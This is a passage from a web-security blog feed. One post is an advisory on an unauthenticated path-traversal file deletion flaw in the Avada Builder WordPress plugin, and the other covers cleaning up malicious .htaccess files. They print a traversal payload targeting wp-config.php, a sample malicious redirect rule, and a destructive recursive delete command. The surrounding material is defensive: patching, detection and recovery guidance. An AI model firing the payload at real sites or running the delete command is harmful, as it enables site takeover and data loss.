does&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;C:N&lt;/dt&gt;&lt;dd&gt;None: Nothing can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;I:H&lt;/dt&gt;&lt;dd&gt;High: Data and files can be altered at will&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;A:H&lt;/dt&gt;&lt;dd&gt;High: The site can be taken down&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;









































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Detail&lt;/th&gt;&lt;th&gt;Value&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;CVE&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-8713&quot;&gt;CVE-2026-8713&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Type&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Unauthenticated Arbitrary File Deletion (Path Traversal, CWE-22)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Affected versions&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;All versions up to and including 3.15.3&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Patched version&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;3.15.4&lt;/strong&gt; (Avada 7.15.4, 2 June 2026)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Auth required&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;No&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Precondition&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;A public Avada form that stores entries in the database&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Bounty&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;$3,600.00&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;daroo (via Wordfence Bug Bounty)&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The flaw lives in &lt;code&gt;maybe_delete_files()&lt;/code&gt; in the &lt;code&gt;Fusion_Form_DB_Entries&lt;/code&gt; class. When Avada cleans up old form entries, it works out which uploaded files belong to an entry and deletes them. It builds those file paths by string-replacing the uploads URL, with no &lt;code&gt;realpath()&lt;/code&gt; resolution and no check that the final path stays inside the uploads directory.&lt;/p&gt;
&lt;p&gt;That means &lt;code&gt;../&lt;/code&gt; traversal sequences in submitted form data reach the deletion path intact. The handler is registered as a &lt;code&gt;nopriv&lt;/code&gt; AJAX action, so it answers anonymous requests, and an attacker can drive the privacy-cleanup mechanism by controlling the expiration fields on the form submission. Put those together and an unauthenticated visitor can submit something like:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;wp-content/uploads/fusion-forms/../../../wp-config.php&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;and have the cleanup routine delete &lt;code&gt;wp-config.php&lt;/code&gt; for them.&lt;/p&gt;
&lt;h3&gt;Why deleting a file is as bad as uploading one&lt;/h3&gt;
&lt;p&gt;A deletion primitive sounds less alarming than file upload or code execution. It is not, because of one specific target.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;wp-config.php&lt;/code&gt; holds the database credentials WordPress needs to boot. Delete it and WordPress can no longer connect to its database, so on the next request it assumes this is a fresh install and serves the setup wizard. An attacker who triggered the deletion can now walk through that wizard, point the install at a database they control, and end up with an administrator account on your domain. From an admin account, dropping a malicious plugin and running arbitrary PHP is routine.&lt;/p&gt;
&lt;p&gt;So the chain runs from an unauthenticated request to a deleted config file, to a forced reinstall the attacker drives, to an administrator account and arbitrary code. The first step needs no login and no user interaction, which is why the score is 9.1 and not something lower.&lt;/p&gt;
&lt;p&gt;This is the same lesson as the &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX endpoints blind spot&lt;/a&gt; we have written about before: a &lt;code&gt;nopriv&lt;/code&gt; handler is open to the entire internet, so every input it touches has to be treated as hostile. A single path-containment check in &lt;code&gt;maybe_delete_files()&lt;/code&gt; would have stopped this.&lt;/p&gt;
&lt;h3&gt;Is it being exploited yet?&lt;/h3&gt;
&lt;p&gt;As of 22 June 2026, no security vendor has published evidence of in-the-wild exploitation, indicators of compromise, or attack telemetry for CVE-2026-8713. The Wordfence advisory describes the mechanism and the impact, not an active campaign.&lt;/p&gt;
&lt;p&gt;That is good news with a short shelf life. The flaw is unauthenticated and the payload path is no secret now the CVE is public, and a critical, public CVE against a million-install plugin is exactly what the mass scanners go looking for. Patching ahead of that is cheap right now. It usually does not stay cheap for long.&lt;/p&gt;
&lt;h2&gt;How do I watch for exploitation after patching?&lt;/h2&gt;
&lt;p&gt;Patching closes the door. Monitoring tells you whether anyone walked through it first. With a file deletion flaw the tell is on the filesystem.&lt;/p&gt;
&lt;p&gt;mySites.guru’s &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time alerting&lt;/a&gt; covers the signals that matter after a destructive CVE:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Missing or changed core, theme, and plugin files. If &lt;code&gt;wp-config.php&lt;/code&gt; was deleted and recreated, or new PHP files appeared in &lt;code&gt;wp-content/&lt;/code&gt;, the file-change alert fires before the next snapshot.&lt;/li&gt;
&lt;li&gt;New administrator accounts. Anything created at admin level fires an alert, whether it came in through the setup wizard, the REST API, or directly through the database.&lt;/li&gt;
&lt;li&gt;wp-admin login activity, with IP, user agent, and timestamp. An unfamiliar admin login on a site that should have no new admins is the cheapest tell that the takeover chain ran.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If any of those fire, the &lt;a href=&quot;https://mysites.guru/wordpress-malware-scanner/&quot;&gt;malware scanner&lt;/a&gt; and the &lt;a href=&quot;https://mysites.guru/wordpress-hacked/&quot;&gt;WordPress hacked recovery workflow&lt;/a&gt; handle the remediation.&lt;/p&gt;
&lt;h2&gt;How to verify your sites are patched&lt;/h2&gt;
&lt;p&gt;Three checks, in order of speed:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;mySites.guru&lt;/strong&gt;: open the &lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/3a2c29cdb121e7ed00f8c72348c05e82&quot;&gt;Avada Builder extension search&lt;/a&gt; and confirm every install is on 3.15.4 or later. Anything on 3.15.3 or earlier still needs updating.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WP-CLI&lt;/strong&gt; on a single site: &lt;code&gt;wp plugin get fusion-builder --field=version&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;wp-admin&lt;/strong&gt;: Plugins page, find Avada Builder in the list, check the version.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If WordPress reports no update available, check that the Avada theme is registered with a current ThemeFusion licence. Avada Builder updates come through ThemeFusion’s update channel, not the WordPress.org directory, so a lapsed licence leaves the plugin pinned to an old version.&lt;/p&gt;
&lt;h2&gt;What to do if you suspect a site was hit&lt;/h2&gt;
&lt;p&gt;Because the damage is a deleted file, the symptoms are loud: a site that suddenly shows the WordPress setup screen, a fatal “error establishing a database connection”, or missing media and uploads. If you see those on an Avada site that was on 3.15.3 or earlier, treat it as a possible exploitation, not a random outage.&lt;/p&gt;
&lt;h3&gt;1. Restore from a known-good backup&lt;/h3&gt;
&lt;p&gt;If &lt;code&gt;wp-config.php&lt;/code&gt; or other files were deleted, the fastest clean recovery is a restore from before the deletion. This is where the &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;one-click backup&lt;/a&gt; of files and database pays off. A mySites.guru &lt;a href=&quot;https://mysites.guru/blog/snapshot-vs-audit-whats-the-difference/&quot;&gt;snapshot&lt;/a&gt; records config and version state, but it is not a restorable backup, so for a rollback you want the full backup.&lt;/p&gt;
&lt;p&gt;Restore, then immediately update to 3.15.4 so the same payload cannot delete the file again.&lt;/p&gt;
&lt;h3&gt;2. Hunt for rogue admin accounts&lt;/h3&gt;
&lt;p&gt;If the deletion forced a reinstall and an attacker walked through the setup wizard, they could now hold an administrator account. Check the user table:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;SELECT&lt;/span&gt;&lt;span&gt; ID, user_login, user_registered, user_email&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;FROM&lt;/span&gt;&lt;span&gt; wp_users&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;ORDER BY&lt;/span&gt;&lt;span&gt; user_registered &lt;/span&gt;&lt;span&gt;DESC&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;LIMIT&lt;/span&gt;&lt;span&gt; 20&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Anything created since 2 June 2026 that you do not recognise is suspect.&lt;/p&gt;
&lt;p&gt;mySites.guru helps here: &lt;a href=&quot;https://mysites.guru/blog/universal-user-management-for-joomla-and-wordpress-sites/&quot;&gt;universal user management&lt;/a&gt; sorts every account across every connected site by registration date, so you can scan hundreds of sites for new admins in one screen rather than logging into each wp-admin.&lt;/p&gt;
&lt;h3&gt;3. Look for backdoors and modified files&lt;/h3&gt;
&lt;p&gt;A reinstall under attacker control is a perfect moment to plant persistence. Look for unexpected PHP files in &lt;code&gt;wp-content/uploads/&lt;/code&gt;, &lt;code&gt;wp-content/mu-plugins/&lt;/code&gt;, and anywhere else uploads should not contain executable code.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;find&lt;/span&gt;&lt;span&gt; wp-content/uploads&lt;/span&gt;&lt;span&gt; -name&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;*.php&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt; -type&lt;/span&gt;&lt;span&gt; f&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;find&lt;/span&gt;&lt;span&gt; wp-content/mu-plugins&lt;/span&gt;&lt;span&gt; -name&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;*.php&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt; -mtime&lt;/span&gt;&lt;span&gt; -30&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;mySites.guru helps here too: the &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content scanner&lt;/a&gt; runs the same pattern matching across every connected site. Anything it flags gets a one-click &lt;a href=&quot;https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/&quot;&gt;AI-powered malware analysis&lt;/a&gt; that explains what the code does in plain English, and the &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;hidden files report&lt;/a&gt; flags orphan PHP files outside the normal core, theme, and plugin paths.&lt;/p&gt;
&lt;h2&gt;A note on 3.15.5&lt;/h2&gt;
&lt;p&gt;Avada shipped another security release, &lt;strong&gt;3.15.5&lt;/strong&gt; (Avada 7.15.5), on 15 June 2026. It fixes a &lt;em&gt;separate&lt;/em&gt; arbitrary file deletion bug that occurs when deleting custom icon sets, plus a couple of other issues. That is not the same flaw as CVE-2026-8713, which is fixed in 3.15.4 and lives in the form handler.&lt;/p&gt;
&lt;p&gt;The practical takeaway is simple: do not stop at 3.15.4. Update to the latest Avada release available to you so you pick up both file deletion fixes at once. If your extension inventory shows sites on 3.15.4, they have the CVE-2026-8713 fix but not the icon-set fix, so push them on to the current version.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-06-02&lt;/strong&gt; Avada Builder 3.15.4 ships the fix Bundled in Avada 7.15.4. It closes an unauthenticated arbitrary file deletion through path traversal in the form handler, on any site with a public Avada form that stores entries in the database.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-06-15&lt;/strong&gt; 3.15.5 fixes a different file deletion bug This one happens when deleting custom icon sets. It is not the same flaw, so do not read 3.15.5 as the fix for the one below.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-06-19&lt;/strong&gt; CVE-2026-8713 publishes at CVSS 9.1 Critical, weeks after the patch Classified CWE-22, path traversal, affecting all versions up to and including 3.15.3. Anyone who had not updated since 2 June learned about it from the CVE rather than from the release.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-06-22&lt;/strong&gt; No published evidence of exploitation in the wild No security vendor has published indicators of compromise or attack telemetry for it. The Wordfence advisory describes the mechanism and the impact, not an active campaign.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/fusion-builder&quot;&gt;Wordfence advisory for CVE-2026-8713&lt;/a&gt; - the original disclosure with the technical detail&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://avada.com/blog/version-7-15-4-security-update/&quot;&gt;Avada 7.15.4 security update notes&lt;/a&gt; - ThemeFusion&apos;s own release announcement&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-8713&quot;&gt;CVE-2026-8713 record&lt;/a&gt; - the official CVE entry&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/avada-builder-cve-2026-4782-4798/&quot;&gt;Avada Builder Patches Two Security Issues in 3.15.3&lt;/a&gt; - the earlier file read and SQL injection pair in the same plugin&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>security</category><category>vulnerability</category><category>plugins</category><category>avada</category><category>updates</category><enclosure url="https://mysites.guru/img/og/blog/avada-builder-cve-2026-8713.png" length="0" type="image/png"/></item><item><title>Delete 9,000 Hacker .htaccess Files in One Click</title><link>https://mysites.guru/blog/delete-malicious-htaccess-files-bulk/</link><guid isPermaLink="true">https://mysites.guru/blog/delete-malicious-htaccess-files-bulk/</guid><description>Hackers drop malicious .htaccess files in every folder of your site. mySites.guru deletes the stray ones in one click and leaves the rest untouched.</description><pubDate>Mon, 22 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;A redirect hack rarely leaves one malicious file behind. It leaves hundreds, sometimes thousands. When a site gets hit with an &lt;code&gt;.htaccess&lt;/code&gt; injection attack, the hacker writes a malicious &lt;code&gt;.htaccess&lt;/code&gt; file into nearly every folder on the server: every plugin directory, every module, every component, every level of the tree. We have seen affected sites holding close to 9,000 of them. Cleaning that up by hand, without deleting the handful of legitimate &lt;code&gt;.htaccess&lt;/code&gt; files that keep your site working, is one of the most tedious jobs in incident response.&lt;/p&gt;
&lt;p&gt;The “Multiple .htaccess Files Located In Webspace” check in your mySites.guru audit now has a one-click answer to it: a single button that deletes every stray &lt;code&gt;.htaccess&lt;/code&gt; file across your whole site and leaves the legitimate ones exactly where they are.&lt;/p&gt;
&lt;h2&gt;How mySites.guru deletes stray .htaccess files in one click&lt;/h2&gt;
&lt;p&gt;mySites.guru lists every &lt;code&gt;.htaccess&lt;/code&gt; file it found during your last &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;site audit&lt;/a&gt; under the &lt;strong&gt;Files Information&lt;/strong&gt; section of your results, in a check called “Multiple .htaccess Files Located In Webspace”.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;The Files Information section of a mySites.guru audit with the Multiple .htaccess Files Located In Webspace check highlighted and its Investigate button on the right&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1862px) 1862px, 100vw&quot; width=&quot;1862&quot; height=&quot;532&quot; src=&quot;https://mysites.guru/_astro/delete-malicious-htaccess-files-audit-row.yb2UmHLO_Z2vgfvW.webp&quot; srcset=&quot;https://mysites.guru/_astro/delete-malicious-htaccess-files-audit-row.yb2UmHLO_Z1BuwPp.webp 640w, https://mysites.guru/_astro/delete-malicious-htaccess-files-audit-row.yb2UmHLO_2gvN78.webp 750w, https://mysites.guru/_astro/delete-malicious-htaccess-files-audit-row.yb2UmHLO_ZUGVte.webp 828w, https://mysites.guru/_astro/delete-malicious-htaccess-files-audit-row.yb2UmHLO_Z1Pkm0T.webp 1080w, https://mysites.guru/_astro/delete-malicious-htaccess-files-audit-row.yb2UmHLO_1cAaPc.webp 1280w, https://mysites.guru/_astro/delete-malicious-htaccess-files-audit-row.yb2UmHLO_Zbgzpu.webp 1668w, https://mysites.guru/_astro/delete-malicious-htaccess-files-audit-row.yb2UmHLO_Z2vgfvW.webp 1862w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Click &lt;strong&gt;Investigate&lt;/strong&gt; on that row and you get the full list of files, with a red button at the top: &lt;strong&gt;Delete all .htaccess files (exc. sensible ones)&lt;/strong&gt;.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;The success screen reading Nothing to delete, confirming the root .htaccess and hardening files were preserved&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 2150px) 2150px, 100vw&quot; width=&quot;2150&quot; height=&quot;1930&quot; src=&quot;https://mysites.guru/_astro/delete-malicious-htaccess-files-done.iIkA6Ykl_ZluWuM.webp&quot; srcset=&quot;https://mysites.guru/_astro/delete-malicious-htaccess-files-done.iIkA6Ykl_Z1s1vgE.webp 640w, https://mysites.guru/_astro/delete-malicious-htaccess-files-done.iIkA6Ykl_Z2ePHB3.webp 750w, https://mysites.guru/_astro/delete-malicious-htaccess-files-done.iIkA6Ykl_Z1574ef.webp 828w, https://mysites.guru/_astro/delete-malicious-htaccess-files-done.iIkA6Ykl_1B5EW6.webp 1080w, https://mysites.guru/_astro/delete-malicious-htaccess-files-done.iIkA6Ykl_12oMAp.webp 1280w, https://mysites.guru/_astro/delete-malicious-htaccess-files-done.iIkA6Ykl_2ls0FC.webp 1668w, https://mysites.guru/_astro/delete-malicious-htaccess-files-done.iIkA6Ykl_X8BNp.webp 2048w, https://mysites.guru/_astro/delete-malicious-htaccess-files-done.iIkA6Ykl_ZluWuM.webp 2150w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Click it, confirm, and the work happens server-side in a single pass. There is no file-by-file looping in your browser and no half-finished state if your connection drops. When it finishes you get a count of what was removed.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;The Multiple .htaccess Files tool showing a list of hacker-planted .htaccess files in plugin, module and component folders, with the red Delete all button at the top&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1292px) 1292px, 100vw&quot; width=&quot;1292&quot; height=&quot;876&quot; src=&quot;https://mysites.guru/_astro/delete-malicious-htaccess-files-list.DCRggkJj_Z11ulJh.webp&quot; srcset=&quot;https://mysites.guru/_astro/delete-malicious-htaccess-files-list.DCRggkJj_Z1V8ISh.webp 640w, https://mysites.guru/_astro/delete-malicious-htaccess-files-list.DCRggkJj_Vadci.webp 750w, https://mysites.guru/_astro/delete-malicious-htaccess-files-list.DCRggkJj_ZFzT0N.webp 828w, https://mysites.guru/_astro/delete-malicious-htaccess-files-list.DCRggkJj_VbWQj.webp 1080w, https://mysites.guru/_astro/delete-malicious-htaccess-files-list.DCRggkJj_Z2eVqG8.webp 1280w, https://mysites.guru/_astro/delete-malicious-htaccess-files-list.DCRggkJj_Z11ulJh.webp 1292w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;The reason this is safe is the part that takes the longest to get right by hand: the allow-list. mySites.guru never decides what to delete by reading file content or guessing. It keeps a server-side list of the exact places legitimate &lt;code&gt;.htaccess&lt;/code&gt; files live, and removes everything else that ends in &lt;code&gt;/.htaccess&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;On a &lt;strong&gt;Joomla&lt;/strong&gt; site it preserves the root &lt;code&gt;/.htaccess&lt;/code&gt;, &lt;code&gt;/administrator/.htaccess&lt;/code&gt;, the &lt;code&gt;/plugins&lt;/code&gt; and &lt;code&gt;/libraries&lt;/code&gt; hardening files, and the entire Akeeba Backup family, including the guard Akeeba writes into its backup output directory. On a &lt;strong&gt;WordPress&lt;/strong&gt; site it preserves the root &lt;code&gt;/.htaccess&lt;/code&gt;, &lt;code&gt;/wp-admin&lt;/code&gt;, &lt;code&gt;/wp-content&lt;/code&gt;, &lt;code&gt;/wp-content/uploads&lt;/code&gt;, the plugins folder and the Akismet guard. Everything else goes.&lt;/p&gt;
&lt;p&gt;One intended exception: the &lt;code&gt;/tmp&lt;/code&gt; folder is &lt;strong&gt;not&lt;/strong&gt; on the allow-list. It is a favourite hiding spot for injected files, so a &lt;code&gt;.htaccess&lt;/code&gt; sitting in &lt;code&gt;/tmp/includes&lt;/code&gt; gets removed like any other stray file rather than spared.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Note&lt;/p&gt;
  &lt;p&gt;The bulk delete removes the malicious .htaccess files and the redirect rules they have. It does not remove a separate PHP backdoor that may be re-creating them. Run a full audit afterwards and check the suspect-content and core-file results so the files do not simply reappear.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;What does a malicious .htaccess file actually do?&lt;/h2&gt;
&lt;p&gt;A malicious &lt;code&gt;.htaccess&lt;/code&gt; file abuses Apache’s per-directory configuration to redirect visitors, hide a backdoor or inject PHP, all without touching a single one of your site’s actual scripts. Because Apache reads &lt;code&gt;.htaccess&lt;/code&gt; before any of your code runs, the attacker controls the request before WordPress or Joomla even loads.&lt;/p&gt;
&lt;p&gt;The most common version is a conditional redirect. The rule only fires for visitors arriving from a search engine or on a mobile device, so when you visit your own site directly it looks perfectly normal, while Google’s traffic gets bounced to spam or a phishing page:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;RewriteEngine&lt;/span&gt;&lt;span&gt; On&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;RewriteCond&lt;/span&gt;&lt;span&gt; %{HTTP_REFERER}&lt;/span&gt;&lt;span&gt; .*google.*&lt;/span&gt;&lt;span&gt; [OR]&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;RewriteCond&lt;/span&gt;&lt;span&gt; %{HTTP_REFERER}&lt;/span&gt;&lt;span&gt; .*bing.*&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;RewriteRule&lt;/span&gt;&lt;span&gt; .*&lt;/span&gt;&lt;span&gt; https://spam-site.example&lt;/span&gt;&lt;span&gt; [R,L]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Other variants are nastier. A &lt;code&gt;php_value auto_prepend_file&lt;/code&gt; directive injects a backdoor into every PHP request in that folder without editing any of your files. A &lt;code&gt;&amp;lt;FilesMatch&amp;gt;&lt;/code&gt; deny-then-allow block locks down every PHP script in a directory except the attacker’s own shell. An &lt;code&gt;ErrorDocument 404&lt;/code&gt; line serves the payload to any request for a missing path. None of these show up if you only look at your theme or your plugins, because the malice lives in a config file most owners never open.&lt;/p&gt;
&lt;h2&gt;Why do hackers put .htaccess files in every folder?&lt;/h2&gt;
&lt;p&gt;Hackers spread &lt;code&gt;.htaccess&lt;/code&gt; files through every directory for two reasons: coverage and persistence. A per-directory &lt;code&gt;.htaccess&lt;/code&gt; applies its rules to that folder and everything beneath it, so a copy in every directory guarantees the redirect fires no matter which URL a visitor arrives at. Cleaning the root file alone leaves every sub-folder still redirecting.&lt;/p&gt;
&lt;p&gt;The second reason is what makes these infections so frustrating to remove. The attacker also leaves a hidden PHP backdoor, and that backdoor re-creates the malicious &lt;code&gt;.htaccess&lt;/code&gt; files whenever they go missing, often within minutes. Security teams describe sites where the file gets rewritten as fast as you can delete it. It is the same pattern behind &lt;a href=&quot;https://mysites.guru/blog/hacked-yesterday-exploited-today/&quot;&gt;why a cleaned site gets hacked again days later&lt;/a&gt;: the first wave seeds a dormant backdoor whose only job is to rebuild the payload once you walk away. That is why a successful clean-up is always two jobs: remove the malicious &lt;code&gt;.htaccess&lt;/code&gt; files, and find the backdoor that keeps writing them. mySites.guru handles the first job in one click and points you at the second through its &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;hack and backdoor detection&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;How do you find and delete these files manually?&lt;/h2&gt;
&lt;p&gt;The manual route is a recursive &lt;code&gt;find&lt;/code&gt; over SSH, and it works, but only if you have shell access and a steady hand. On most shared hosting you do not get SSH at all, which leaves you hunting folder by folder over FTP. Here are the commands a sysadmin would actually run:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;# Count every .htaccess file (1-3 on a clean site, hundreds or thousands when infected)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;find&lt;/span&gt;&lt;span&gt; .&lt;/span&gt;&lt;span&gt; -name&lt;/span&gt;&lt;span&gt; .htaccess&lt;/span&gt;&lt;span&gt; |&lt;/span&gt;&lt;span&gt; wc&lt;/span&gt;&lt;span&gt; -l&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;# Triage by recent modification time, the best single filter&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;find&lt;/span&gt;&lt;span&gt; .&lt;/span&gt;&lt;span&gt; -name&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;.htaccess&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt; -mtime&lt;/span&gt;&lt;span&gt; -7&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;# Look for the malicious tells (RewriteRule alone is noisy, WordPress uses it too)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;find&lt;/span&gt;&lt;span&gt; .&lt;/span&gt;&lt;span&gt; -name&lt;/span&gt;&lt;span&gt; .htaccess&lt;/span&gt;&lt;span&gt; -exec&lt;/span&gt;&lt;span&gt; grep&lt;/span&gt;&lt;span&gt; -lE&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;auto_prepend_file|base64_decode|RewriteRule .*http&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt; {}&lt;/span&gt;&lt;span&gt; \;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The blanket delete exists, and it is exactly the command you should never run on its own:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;# DANGEROUS: this deletes the legitimate files too&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;find&lt;/span&gt;&lt;span&gt; .&lt;/span&gt;&lt;span&gt; -name&lt;/span&gt;&lt;span&gt; .htaccess&lt;/span&gt;&lt;span&gt; -delete&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That one line turns a redirect infection into an outage. It removes the root &lt;code&gt;.htaccess&lt;/code&gt; (so every internal URL 404s), the Akeeba Backup guard (so your backup archives become publicly downloadable), and the uploads guard (so PHP can execute in your uploads folder again). The whole difficulty of doing this by hand is separating the thousands of malicious files from the small handful of legitimate ones, and a recursive &lt;code&gt;rm&lt;/code&gt; cannot tell the difference. Over FTP it is worse: dotfiles are hidden by default, there is no recursive search and no way to filter by date, so you open every directory by hand. Across thousands of folders, no one finishes.&lt;/p&gt;
&lt;p&gt;Bulk removal handles exactly this mass-infection case; for a single stray file afterwards, or anything outside a &lt;code&gt;.htaccess&lt;/code&gt; sweep, mySites.guru’s &lt;a href=&quot;https://mysites.guru/blog/web-file-manager-for-joomla-and-wordpress/&quot;&gt;web file manager&lt;/a&gt; reaches the same folders with no SSH or FTP client needed, and deletes go to a trash first rather than disappearing the moment you click.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Warning&lt;/p&gt;
  &lt;p&gt;Never run a recursive .htaccess delete without an allow-list. Removing the root file breaks every permalink and SEF URL, and removing a backup-tool guard can expose a full database dump, with password hashes, to anyone who knows the URL.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Which .htaccess files are legitimate on a Joomla site?&lt;/h2&gt;
